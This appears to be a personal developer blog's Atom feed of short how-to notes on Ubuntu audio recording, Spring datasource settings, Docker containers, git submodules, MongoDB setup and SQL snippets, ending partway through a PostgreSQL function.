Memto2023-03-30T10:04:55+00:00http://memto.github.iodvn0zzzdvn0zzz@gmail.comSeparate record audio from a source in Ubuntu2023-03-10T00:00:00+00:00http://memto.github.io/2023/03/10/separate-record-audio-from-a-source-in-ubuntu<h4 id="create-a-virtual-source">Create a virtual source</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt install pavucontrol
$ pactl load-module module-null-sink sink_name=VirtualOutput1
$ sudo apt install gnome-sound-recorder
</code></pre></div></div>
<ul>
<li>Create virtual output</li>
</ul>
<p><img src="/media/virtual-output.png" alt="virtual-output.png" /></p>
<ul>
<li>Playback to virtual output</li>
</ul>
<p><img src="/media/playback-to-virtual-output.png" alt="playback-to-virtual-output.png" /></p>
<ul>
<li>Record from virtual output (monitor input)</li>
</ul>
<p><img src="/media/record-from-virtual-output.png" alt="record-from-virtual-output.png" /></p>
Spring datasource config2023-02-27T00:00:00+00:00http://memto.github.io/2023/02/27/spring-datasource-config<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># H2 DB</span>
spring.datasource.url<span class="o">=</span>jdbc:h2:file:C:/temp/test
spring.datasource.username<span class="o">=</span>sa
spring.datasource.password<span class="o">=</span>
spring.datasource.driverClassName<span class="o">=</span>org.h2.Driver
spring.jpa.database-platform<span class="o">=</span>org.hibernate.dialect.H2Dialect
<span class="c"># PostgreSQL</span>
spring.datasource.url<span class="o">=</span>jdbc:postgresql://<HOST>:<PORT>/<DB>?currentSchema<span class="o">=</span><SCHEMA>
spring.datasource.username<span class="o">=</span>dbuser
spring.datasource.password<span class="o">=</span>dbpass
spring.datasource.driver-class-name<span class="o">=</span>org.postgresql.Driver
spring.jpa.properties.hibernate.dialect<span class="o">=</span>org.hibernate.dialect.PostgreSQL81Dialect
<span class="c"># MySQL</span>
spring.datasource.url<span class="o">=</span>jdbc:mysql://<HOST>:<PORT>/<DB>
spring.datasource.username<span class="o">=</span>dbuser
spring.datasource.password<span class="o">=</span>dbpass
spring.datasource.driver-class-name<span class="o">=</span>com.mysql.jdbc.Driver
spring.jpa.database-platform<span class="o">=</span>org.hibernate.dialect.MySQL5InnoDBDialect
<span class="c"># Oracle</span>
spring.datasource.url<span class="o">=</span>jdbc:oracle:thin:@<HOST>:<PORT>:<DB>
spring.datasource.username<span class="o">=</span>dbuser
spring.datasource.password<span class="o">=</span>dbpass
spring.datasource.driver-class-name<span class="o">=</span>oracle.jdbc.OracleDriver
spring.jpa.database-platform<span class="o">=</span>org.hibernate.dialect.Oracle10gDialect
<span class="c"># SQL Server</span>
spring.datasource.url<span class="o">=</span>jdbc:sqlserver://<HOST>:<PORT><span class="p">;</span><span class="nv">databaseName</span><span class="o">=</span><DB>
spring.datasource.username<span class="o">=</span>dbuser
spring.datasource.password<span class="o">=</span>dbpass
spring.datasource.driverClassName<span class="o">=</span>com.microsoft.sqlserver.jdbc.SQLServerDriver
spring.jpa.hibernate.dialect<span class="o">=</span>org.hibernate.dialect.SQLServer2012Dialect
</code></pre></div></div>
Authen/Author ACL, RBAC, HRBAC2022-03-31T00:00:00+00:00http://memto.github.io/linux/program/misc/2022/03/31/authen-author-acl-rbac-hrbac<h3 id="ref">Ref</h3>
<ul>
<li>https://docs.nestjs.com/security/authentication</li>
<li>https://www.loginradius.com/blog/async/guest-post/jwt-vs-sessions/</li>
<li>https://blog.nodeswat.com/implement-access-control-in-node-js-8567e7b484d1</li>
<li>https://blog.logrocket.com/using-accesscontrol-for-rbac-and-abac-in-node-js/</li>
</ul>
Some docker from command line2022-01-12T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2022/01/12/some-docker-from-command-line<h4 id="redis">Redis</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>docker run <span class="nt">-d</span> <span class="nt">--restart</span> always <span class="se">\</span>
<span class="nt">--name</span> redis7-container <span class="se">\</span>
<span class="nt">-p</span> 6379:6379 <span class="se">\</span>
redis:7.0.0
</code></pre></div></div>
<h4 id="postgresql">Postgresql</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>docker run <span class="nt">-d</span> <span class="nt">--restart</span> always <span class="se">\</span>
<span class="nt">--name</span> postgres12-container <span class="se">\</span>
<span class="nt">-p</span> 9432:5432 <span class="se">\</span>
<span class="nt">-e</span> <span class="nv">POSTGRES_PASSWORD</span><span class="o">=</span><YOUR_PASS> <span class="se">\</span>
<span class="nt">-e</span> <span class="nv">PGDATA</span><span class="o">=</span>/var/lib/postgresql/data/pgdata <span class="se">\</span>
<span class="nt">-v</span> <YOUR_PATH>/data/postgresql:/var/lib/postgresql/data <span class="se">\</span>
postgres:12
</code></pre></div></div>
<h4 id="pgadmin-port-default-80443">pgadmin (PORT default: 80/443)</h4>
<ul>
<li><strong>Note</strong>: need <code class="language-plaintext highlighter-rouge">--network="host"</code> to use <code class="language-plaintext highlighter-rouge">localhost</code> when connecting to local postgres container as above (Other solutions: can create a docker network and specify the network for both; or create both in a docker-compose)</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>docker run <span class="nt">-d</span> <span class="nt">--restart</span> always <span class="se">\</span>
<span class="nt">--network</span><span class="o">=</span><span class="s2">"host"</span> <span class="se">\</span>
<span class="nt">--name</span> pgadmin4-container <span class="se">\</span>
<span class="nt">-e</span> <span class="s1">'PGADMIN_LISTEN_PORT=<YOUR_PORT>'</span> <span class="se">\</span>
<span class="nt">-e</span> <span class="s1">'PGADMIN_DEFAULT_EMAIL=pagadmin@pgadmin.com'</span> <span class="se">\</span>
<span class="nt">-e</span> <span class="s1">'PGADMIN_DEFAULT_PASSWORD=<YOUR_PASS>'</span> <span class="se">\</span>
dpage/pgadmin4
</code></pre></div></div>
<h4 id="cloundbeaver-port-default-8978">Cloundbeaver (PORT default: 8978)</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># use this if not network="host"</span>
<span class="c"># -p 8978:8978 \</span>
<span class="nb">sudo </span>docker run <span class="nt">-d</span> <span class="nt">--restart</span> unless-stopped <span class="se">\</span>
<span class="nt">--name</span> cloudbeaver <span class="se">\</span>
<span class="nt">--network</span><span class="o">=</span><span class="s2">"host"</span> <span class="se">\ </span>
<span class="nt">-v</span> <YOUR_PATH>/cloudbeaver:/opt/cloudbeaver/workspace <span class="se">\</span>
<span class="se">\</span>
dbeaver/cloudbeaver:latest
</code></pre></div></div>
Move docker data directory Ubuntu2021-12-14T00:00:00+00:00http://memto.github.io/linux/program/2021/12/14/move-docker-data-directory-ubuntu<h3 id="move-docker-data-directory-ubuntu">Move docker data directory Ubuntu</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#== current Dir</span>
<span class="nv">$ </span><span class="nb">sudo </span>docker info | <span class="nb">grep</span> <span class="nt">-i</span> root
Docker Root Dir: /var/lib/docker
<span class="c">#== Stop service</span>
<span class="nv">$ </span><span class="nb">sudo </span>service docker stop
<span class="c">#== add config</span>
<span class="nv">$ </span><span class="nb">sudo </span>vim /etc/docker/daemon.json
<span class="o">{</span>
<span class="s2">"data-root"</span>: <span class="s2">"/path/to/your/docker"</span>
<span class="o">}</span>
<span class="nv">$ </span><span class="nb">sudo </span>rsync <span class="nt">-aP</span> /var/lib/docker/ /path/to/your/docker
<span class="nv">$ </span><span class="nb">sudo mv</span> /var/lib/docker /var/lib/docker.old
<span class="c">#== start service and verify</span>
<span class="nv">$ </span><span class="nb">sudo </span>service docker start
<span class="nv">$ </span><span class="nb">sudo </span>docker info | <span class="nb">grep</span> <span class="nt">-i</span> root
Docker Root Dir: /path/to/your/docker
<span class="nv">$ </span><span class="nb">sudo rm</span> <span class="nt">-rf</span> /var/lib/docker.old
</code></pre></div></div>
SSH port forwarding2021-08-25T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/25/ssh-port-forwarding<h3 id="ref">Ref</h3>
<ul>
<li>https://www.ssh.com/academy/ssh/tunneling/example</li>
</ul>
<p><img src="https://i.imgur.com/IElAfz3.png" alt="" /></p>
I8N messageformat PluralFormat2021-08-23T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/23/i8n-messageformat-pluralformat<h3 id="ref">Ref:</h3>
<ul>
<li>https://github.com/messageformat/messageformat/issues/170</li>
</ul>
<h3 id="error">Error</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Error: Invalid key one <span class="k">for </span>argument count. Valid plural keys <span class="k">for </span>this locale are other, and explicit keys like <span class="o">=</span>0.
</code></pre></div></div>
<h3 id="fix-change-one-to-1">Fix: change <code class="language-plaintext highlighter-rouge">one</code> to <code class="language-plaintext highlighter-rouge">=1</code></h3>
<p><img src="https://i.imgur.com/ZZ5uYjy.png" alt="" /></p>
Spring boot mapstruct and lombok2021-08-16T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/16/spring-boot-mapstructs-and-lombok<h3 id="ref">Ref:</h3>
<ul>
<li>https://stackoverflow.com/questions/65112406/intellij-idea-mapstruct-java-internal-error-in-the-mapping-processor-java-lang</li>
<li>https://stackoverflow.com/questions/47676369/mapstruct-and-lombok-not-working-together</li>
<li>https://github.com/mapstruct/mapstruct/issues/2271</li>
</ul>
<h3 id="issues">Issues</h3>
<ul>
<li>IntelliJ Idea mapstruct java: Internal error in the mapping processor: java.lang.NullPointerException</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The solution is to update MapStruct to 1.4.1.Final or later version, see this issue for more details.
You can also add -Djps.track.ap.dependencies=false at File | Settings (Preferences on macOS) | Build, Execution, Deployment | Compiler | Build process VM options as a workaround.
</code></pre></div></div>
<ul>
<li>
<p>MapStruct and Lombok not working together</p>
<ul>
<li>Opt1: using lombok version older than 1.18.14</li>
<li>Opt2: lombok-mapstruct-binding</li>
</ul>
</li>
</ul>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="nt"><project</span> <span class="na">xmlns=</span><span class="s">"http://maven.apache.org/POM/4.0.0"</span>
<span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class="na">xsi:schemaLocation=</span><span class="s">"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span><span class="nt">></span>
<span class="nt"><modelVersion></span>4.0.0<span class="nt"></modelVersion></span>
<span class="nt"><parent></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-starter-parent<span class="nt"></artifactId></span>
<span class="nt"><version></span>2.3.12.RELEASE<span class="nt"></version></span>
<span class="nt"><relativePath/></span> <span class="c"><!-- lookup parent from repository --></span>
<span class="nt"></parent></span>
<span class="nt"><artifactId></span>spring-boot-jpa<span class="nt"></artifactId></span>
<span class="nt"><properties></span>
<span class="nt"><lombok.version></span>1.18.12<span class="nt"></lombok.version></span>
<span class="nt"><mapstruct.version></span>1.3.1.Final<span class="nt"></mapstruct.version></span>
<span class="nt"><lombok-mapstruct.version></span>0.2.0<span class="nt"></lombok-mapstruct.version></span>
<span class="nt"></properties></span>
<span class="nt"><dependencies></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-starter-web<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
<span class="c"><!-- mapstruct dependencies--></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.mapstruct<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>mapstruct<span class="nt"></artifactId></span>
<span class="nt"><version></span>${mapstruct.version}<span class="nt"></version></span>
<span class="nt"></dependency></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.mapstruct<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>mapstruct-processor<span class="nt"></artifactId></span>
<span class="nt"><version></span>${mapstruct.version}<span class="nt"></version></span>
<span class="nt"><scope></span>provided<span class="nt"></scope></span>
<span class="nt"></dependency></span>
<span class="c"><!-- <dependency>--></span>
<span class="c"><!-- <groupId>org.projectlombok</groupId>--></span>
<span class="c"><!-- <artifactId>lombok-mapstruct-binding</artifactId>--></span>
<span class="c"><!-- <version>${lombok-mapstruct.version}</version>--></span>
<span class="c"><!-- </dependency>--></span>
<span class="c"><!--spring jpa--></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.springframework.boot<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>spring-boot-starter-data-jpa<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.postgresql<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>postgresql<span class="nt"></artifactId></span>
<span class="nt"><scope></span>runtime<span class="nt"></scope></span>
<span class="nt"></dependency></span>
<span class="nt"><dependency></span>
<span class="nt"><groupId></span>org.projectlombok<span class="nt"></groupId></span>
<span class="nt"><artifactId></span>lombok<span class="nt"></artifactId></span>
<span class="nt"></dependency></span>
<span class="nt"></dependencies></span>
<span class="nt"></project></span>
</code></pre></div></div>
Example Databases and Tables (sqlfiddle)2021-08-13T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/13/example-databases-and-tables-sqlfiddle<h3 id="ref">Ref</h3>
<ul>
<li>https://stackoverflow.com/questions/34901258/are-there-sample-tables-on-sqlfiddle</li>
</ul>
<h3 id="convert-sql-syntax">Convert SQL syntax</h3>
<ul>
<li>http://www.sqlines.com/online</li>
</ul>
<h3 id="example-databases-and-tables">Example Databases and Tables</h3>
<ul>
<li>Auto Shop Database:
<ul>
<li>http://sqlfiddle.com/#!9/ff1d04 (MySQL)</li>
<li>http://sqlfiddle.com/#!17/cd354 (PostgreSQL)</li>
<li>https://stackoverflow.com/a/46380990</li>
</ul>
</li>
</ul>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Relationships between tables</span>
<span class="c1">-- Each Department may have 0 or more Employees</span>
<span class="c1">-- Each Employee may have 0 or 1 Manager</span>
<span class="c1">-- Each Customer may have 0 or more Cars</span>
</code></pre></div></div>
<ul>
<li>Library Database:
<ul>
<li>http://sqlfiddle.com/#!9/ba7ded (MySQL)</li>
<li>http://sqlfiddle.com/#!17/bcb8db (PostgreSQL)</li>
<li>https://stackoverflow.com/a/46381062</li>
</ul>
</li>
</ul>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Relationships between tables</span>
<span class="c1">-- Each author can have 1 or more books</span>
<span class="c1">-- Each book can have 1 or more authors</span>
</code></pre></div></div>
<ul>
<li>Countries Table:
<ul>
<li>http://sqlfiddle.com/#!9/c7b3c2 (MySQL)</li>
<li>http://sqlfiddle.com/#!17/9d226 (PostgreSQL)</li>
<li>https://stackoverflow.com/a/46381130</li>
</ul>
</li>
</ul>
Some git commands2021-08-02T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/02/some-git-commands<h3 id="qa">Q/A</h3>
<ul>
<li>How to revert initial git commit?</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># https://stackoverflow.com/a/6637891/5715800</span>
<span class="c"># You just need to delete the branch you are on. You can't use git branch -D as this has a safety check against doing this. You can use update-ref to do this.</span>
git update-ref <span class="nt">-d</span> HEAD
<span class="c"># Do not use rm -rf .git or anything like this as this will completely wipe your entire repository including all other branches as well as the branch that you are trying to reset.</span>
</code></pre></div></div>
<ul>
<li>Git unset config</li>
</ul>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git config --list
git config --list --global
git config --global --unset user.email
</code></pre></div></div>
<h3 id="git-submodules">Git submodules</h3>
<ul>
<li>create and config submodules</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tree <span class="nt">-L</span> 2
<span class="nb">.</span>
├── elasticsearch
│ ├── custom
│ └── elk-local
├── kafka-local
│ ├── config
│ ├── docker-compose.yml
│ ├── docs
│ ├── LICENSE
│ └── README.md
├── mongodb
│ └── mongo-compose.yaml
└── README.md
<span class="c"># Usage: git submodule add <repo-url> <submodule-path></span>
<span class="c"># Ex</span>
<span class="nv">$ </span>git submodule add https://github.com/memto/elk-local.git elasticsearch/elk-local
<span class="nv">$ </span>git config <span class="nt">-f</span> .gitmodules submodule.elasticsearch/elk-local.ignore untracked
<span class="nv">$ </span>git submodule add https://github.com/memto/kafka-local.git kafka-local
<span class="nv">$ </span>git config <span class="nt">-f</span> .gitmodules submodule.kafka-local.ignore untracked
<span class="nv">$ </span><span class="nb">cat</span> .gitmodules
<span class="o">[</span>submodule <span class="s2">"elasticsearch/elk-local"</span><span class="o">]</span>
path <span class="o">=</span> elasticsearch/elk-local
url <span class="o">=</span> https://github.com/memto/elk-local.git
ignore <span class="o">=</span> untracked
<span class="o">[</span>submodule <span class="s2">"kafka-local"</span><span class="o">]</span>
path <span class="o">=</span> kafka-local
url <span class="o">=</span> https://github.com/memto/kafka-local.git
ignore <span class="o">=</span> untracked
</code></pre></div></div>
<ul>
<li>clone and update submodules</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Ref: </span>
<span class="c"># - https://stackoverflow.com/a/4438292/5715800</span>
<span class="c"># With version 2.13 of Git and later, --recurse-submodules can be used instead of --recursive:</span>
git clone <span class="nt">--recurse-submodules</span> <span class="nt">-j8</span> git://github.com/foo/bar.git
<span class="c"># With version 1.9 of Git up until version 2.12 (-j flag only available in version 2.8+):</span>
git clone <span class="nt">--recursive</span> <span class="nt">-j8</span> git://github.com/foo/bar.git
<span class="c"># With version 1.6.5 of Git and later, you can use:</span>
git clone <span class="nt">--recursive</span> git://github.com/foo/bar.git
<span class="c"># For already cloned repos, or older Git versions, use:</span>
git clone git://github.com/foo/bar.git
<span class="nb">cd </span>bar
git submodule update <span class="nt">--init</span> <span class="nt">--recursive</span>
</code></pre></div></div>
Kafka and kafka-magic docker-compose on Ubuntu2021-08-01T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/08/01/kafka-and-kafka-magic-docker-compose-on-ubuntu<h3 id="ref">Ref</h3>
<ul>
<li>https://www.kafkamagic.com/start/</li>
</ul>
<h3 id="run">Run</h3>
<ul>
<li>run docker</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/memto/kafka-local.git
docker-compose up
</code></pre></div></div>
<ul>
<li>register cluster in kafka-magic UI</li>
</ul>
<p><img src="https://raw.githubusercontent.com/memto/kafka-local/main/docs/launch.png" alt="launch-kafka-magic" /></p>
<p><img src="https://raw.githubusercontent.com/memto/kafka-local/main/docs/register-cluster.png" alt="register-cluster" /></p>
<p><img src="https://raw.githubusercontent.com/memto/kafka-local/main/docs/register-cluster-info.png" alt="register-cluster-info" /></p>
<p><img src="https://raw.githubusercontent.com/memto/kafka-local/main/docs/using.png" alt="using" /></p>
mongodb on Ubuntu 20.042021-07-30T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/30/mongodb-on-ubuntu-20-04<h3 id="ref">Ref</h3>
<ul>
<li>https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/</li>
</ul>
<h3 id="install">Install</h3>
<ul>
<li>Install</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget <span class="nt">-qO</span> - https://www.mongodb.org/static/pgp/server-5.0.asc | <span class="nb">sudo </span>apt-key add -
<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/5.0 multiverse"</span> | <span class="nb">sudo tee</span> /etc/apt/sources.list.d/mongodb-org-5.0.list
<span class="nv">$ </span><span class="nb">sudo </span>apt-get update
<span class="nv">$ </span><span class="nb">sudo </span>apt-get <span class="nb">install</span> <span class="nt">-y</span> mongodb-org
</code></pre></div></div>
<ul>
<li>Config data directory</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>vim /etc/mongod.conf
<span class="c"># Where and how to store data.</span>
storage:
<span class="c"># dbPath: /var/lib/mongodb</span>
dbPath: <YOUR_PATH>
journal:
enabled: <span class="nb">true</span>
</code></pre></div></div>
<h3 id="start">Start</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>systemctl daemon-reload
<span class="nv">$ </span><span class="nb">sudo </span>systemctl start mongod
<span class="nv">$ </span><span class="nb">sudo </span>systemctl status mongod
</code></pre></div></div>
<h3 id="backuprestore">Backup/restore</h3>
<ul>
<li>mongodump</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mongodump <span class="nt">--help</span>
Usage:
mongodump <options> <connection-string>
Export the content of a running server into .bson files.
Specify a database with <span class="nt">-d</span> and a collection with <span class="nt">-c</span> to only dump that database or collection.
Connection strings must begin with mongodb:// or mongodb+srv://.
See http://docs.mongodb.com/database-tools/mongodump/ <span class="k">for </span>more information.
...
namespace options:
<span class="nt">-d</span>, <span class="nt">--db</span><span class="o">=</span><database-name> database to use
<span class="nt">-c</span>, <span class="nt">--collection</span><span class="o">=</span><collection-name> collection to use
<span class="nv">$ </span>mongodump <span class="nt">-d</span> <database-name> <span class="c"># output in dump folder</span>
</code></pre></div></div>
<ul>
<li>mongorestore</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mongorestore <span class="nt">--help</span>
Usage:
mongorestore <options> <connection-string> <directory or file to restore>
Restore backups generated with mongodump to a running server.
namespace options:
<span class="nt">-d</span>, <span class="nt">--db</span><span class="o">=</span><database-name> database to use
<span class="nt">-c</span>, <span class="nt">--collection</span><span class="o">=</span><collection-name> collection to use
<span class="nv">$ </span>mongorestore <span class="nt">-d</span> <database-name> dump/<database-name>
</code></pre></div></div>
<ul>
<li>
<p>mongosh (the “mongo” shell has been superseded by “mongosh”)</p>
<ul>
<li>https://docs.mongodb.com/mongodb-shell/run-commands/</li>
</ul>
</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mongosh <span class="nt">--help</span>
<span class="nv">$ </span>mongosh <span class="o">[</span>options] <span class="o">[</span>db address] <span class="o">[</span>file names <span class="o">(</span>ending <span class="k">in</span> .js or .mongodb<span class="o">)]</span>
Options:
<span class="nt">--shell</span> Run the shell after executing files
<span class="nt">--nodb</span> Don<span class="s1">'t connect to mongod on startup - no '</span>db address<span class="s1">' [arg] expected
--norc Will not run the '</span>.mongoshrc.js<span class="s1">' file on start up
--eval [arg] Evaluate javascript
--retryWrites Automatically retry write operations upon transient network errors
DB Address Examples:
foo Foo database on local machine
192.168.0.5/foo Foo database on 192.168.0.5 machine
192.168.0.5:9999/foo Foo database on 192.168.0.5 machine on port 9999
mongodb://192.168.0.5:9999/foo Connection string URI can also be used
File Names:
A list of files to run. Files must end in .js and will exit after unless --shell is specified.
Examples:
Start mongosh using '</span>ships<span class="s1">' database on specified connection string:
$ mongosh mongodb://192.168.0.5:9999/ships
For more information on usage: https://docs.mongodb.com/mongodb-shell.
### Some usage
$ mongosh
Connecting to: mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000
test> show dbs
admin 41 kB
config 73.7 kB
fdl_database 9.39 MB
local 73.7 kB
test 270 kB
test> use fdl_database
switched to db fdl_database
fdl_database> show collections
fdl_item
fdl_post
fdl_database>
</span></code></pre></div></div>
Some SQL / NoSql2021-07-28T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/28/sql-query<h3 id="monitor">Monitor</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># check log
$ mysql -u root -p -se "SHOW VARIABLES" | grep -e log_error -e general_log -e slow_query_log
$ mysql -u root -p
$ mysql> SHOW VARIABLES LIKE "general_log%";
$ check connection
$ mysqladmin -u root -p -i 1 processlist
</code></pre></div></div>
<h3 id="example-databases-and-tables">Example Databases and Tables</h3>
<ul>
<li>
<p>https://memto.github.io/linux/program/tooltips/2021/08/13/example-databases-and-tables-sqlfiddle/</p>
</li>
<li>
<p>Auto Shop Database:</p>
<ul>
<li>http://sqlfiddle.com/#!9/ff1d04</li>
<li>https://stackoverflow.com/a/46380990</li>
</ul>
</li>
</ul>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Relationships between tables</span>
<span class="c1">-- Each Department may have 0 or more Employees</span>
<span class="c1">-- Each Employee may have 0 or 1 Manager</span>
<span class="c1">-- Each Customer may have 0 or more Cars</span>
</code></pre></div></div>
<ul>
<li>Library Database:
<ul>
<li>http://sqlfiddle.com/#!9/ba7ded</li>
<li>https://stackoverflow.com/a/46381062</li>
</ul>
</li>
</ul>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Relationships between tables</span>
<span class="c1">-- Each author can have 1 or more books</span>
<span class="c1">-- Each book can have 1 or more authors</span>
</code></pre></div></div>
<ul>
<li>Countries Table:
<ul>
<li>http://sqlfiddle.com/#!9/c7b3c2</li>
<li>https://stackoverflow.com/a/46381130</li>
</ul>
</li>
</ul>
<h3 id="sql-joins-difference-between-innerleftrightouter-joins">SQL Joins: Difference Between Inner/Left/Right/Outer Joins</h3>
<ul>
<li>https://joins.spathon.com/</li>
</ul>
<p><img src="https://i.imgur.com/bdKrpxS.png" alt="" /></p>
<h3 id="pg-admin-gen-insert-query">PG Admin gen INSERT query</h3>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- https://wiki.postgresql.org/wiki/Create_INSERT_statement</span>
<span class="k">CREATE</span> <span class="k">OR</span> <span class="k">REPLACE</span> <span class="k">FUNCTION</span> <span class="n">create_insert_statement</span><span class="p">(</span><span class="n">regclass</span><span class="p">,</span> <span class="n">anyelement</span><span class="p">)</span> <span class="k">RETURNS</span> <span class="nb">text</span>
<span class="k">LANGUAGE</span> <span class="n">plpgsql</span>
<span class="k">AS</span> <span class="err">$$</span>
<span class="k">DECLARE</span>
<span class="n">_schemaname</span> <span class="nb">text</span><span class="p">;</span>
<span class="n">_tablename</span> <span class="nb">text</span><span class="p">;</span>
<span class="n">_key</span> <span class="nb">text</span><span class="p">;</span>
<span class="n">_value</span> <span class="nb">text</span><span class="p">;</span>
<span class="n">_columns</span> <span class="nb">text</span><span class="p">[];</span>
<span class="n">_values</span> <span class="nb">text</span><span class="p">[];</span>
<span class="k">BEGIN</span>
<span class="k">SELECT</span> <span class="n">pg_namespace</span><span class="p">.</span><span class="n">nspname</span><span class="p">,</span> <span class="n">pg_class</span><span class="p">.</span><span class="n">relname</span>
<span class="k">INTO</span> <span class="k">STRICT</span> <span class="n">_schemaname</span><span class="p">,</span> <span class="n">_tablename</span>
<span class="k">FROM</span> <span class="n">pg_class</span>
<span class="k">JOIN</span> <span class="n">pg_namespace</span>
<span class="k">ON</span> <span class="p">(</span><span class="n">pg_namespace</span><span class="p">.</span><span class="n">oid</span> <span class="o">=</span> <span class="n">pg_class</span><span class="p">.</span><span class="n">relnamespace</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">pg_class</span><span class="p">.</span><span class="n">oid</span> <span class="o">=</span> <span class="err">$</span><span class="mi">1</span><span class="p">;</span>
<span class="k">FOR</span> <span class="n">_key</span> <span class="k">IN</span>
<span class="k">SELECT</span> <span class="n">columns</span><span class="p">.</span><span class="k">column_name</span>
<span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span>
<span class="k">WHERE</span> <span class="n">columns</span><span class="p">.</span><span class="n">table_schema</span> <span class="o">=</span> <span class="n">_schemaname</span>
<span class="k">AND</span> <span class="n">columns</span><span class="p">.</span><span class="k">table_name</span> <span class="o">=</span> <span class="n">_tablename</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">columns</span><span class="p">.</span><span class="n">ordinal_position</span>
<span class="n">LOOP</span>
<span class="k">EXECUTE</span> <span class="n">format</span><span class="p">(</span><span class="err">$</span><span class="n">s</span><span class="err">$</span><span class="k">SELECT</span> <span class="n">format</span><span class="p">(</span><span class="s1">'%%L'</span><span class="p">,</span> <span class="p">(((</span><span class="err">$</span><span class="mi">1</span><span class="p">)::</span><span class="o">%</span><span class="n">s</span><span class="p">).</span><span class="o">%</span><span class="n">I</span><span class="p">))</span><span class="err">$</span><span class="n">s</span><span class="err">$</span><span class="p">,</span> <span class="err">$</span><span class="mi">1</span><span class="p">,</span> <span class="n">_key</span><span class="p">)</span> <span class="k">USING</span> <span class="err">$</span><span class="mi">2</span> <span class="k">INTO</span> <span class="k">STRICT</span> <span class="n">_value</span><span class="p">;</span>
<span class="n">_columns</span> <span class="p">:</span><span class="o">=</span> <span class="n">_columns</span> <span class="o">||</span> <span class="n">_key</span><span class="p">;</span>
<span class="n">_values</span> <span class="p">:</span><span class="o">=</span> <span class="n">_values</span> <span class="o">||</span> <span class="n">_value</span><span class="p">;</span>
<span class="k">END</span> <span class="n">LOOP</span><span class="p">;</span>
